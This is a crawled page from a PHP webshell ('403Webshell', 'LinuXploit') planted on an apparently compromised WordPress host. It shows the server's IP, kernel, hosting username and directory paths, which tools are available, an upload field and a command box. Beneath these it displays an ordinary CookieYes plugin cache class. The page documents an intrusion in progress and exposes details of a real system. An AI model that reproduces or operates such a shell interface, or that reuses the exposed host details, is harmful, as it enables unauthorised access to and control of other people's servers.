403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www_old/wp-content/plugins/cookie-law-info/lite/admin/modules/cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www_old/wp-content/plugins/cookie-law-info/lite/admin/modules/cache/class-cache.php
<?php
/**
 * Class Cookies file.
 *
 * @package CookieYes
 */

namespace CookieYes\Lite\Admin\Modules\Cache;

use CookieYes\Lite\Includes\Modules;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Handles Cookies Operation
 *
 * @class       Cookies
 * @version     3.0.0
 * @package     CookieYes
 */
class Cache extends Modules {

	/**
	 * Constructor.
	 */
	public function init() {
		add_action( 'plugins_loaded', array( $this, 'load_services' ) );
	}

	/**
	 * Load services classes.
	 *
	 * @return void
	 */
	public function load_services() {
		$modules = $this->get_services();
		foreach ( $modules as $module ) {
			$parts = explode( '_', $module );
			$temp  = array();
			foreach ( $parts as $part ) {
				$temp[] = ucfirst( $part );
			}
			$class      = implode( '_', $temp );
			$class_name = 'CookieYes\Lite\\Admin\\Modules\\Cache\\Services\\' . ucfirst( $class );

			if ( class_exists( $class_name ) ) {
				new $class_name( $module );
			}
		}
	}

	/**
	 * Get supported list of servies.
	 *
	 * @return array
	 */
	public function get_services() {
		return array(
			'wp_rocket',
			'autoptimize',
			'hummingbird',
			'w3_total_cache',
			'wp_fastest_cache',
			'wp_super_cache',
			'breeze',
			'siteground_optimize',
			'cache_enabler',
			'litespeed_cache',
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit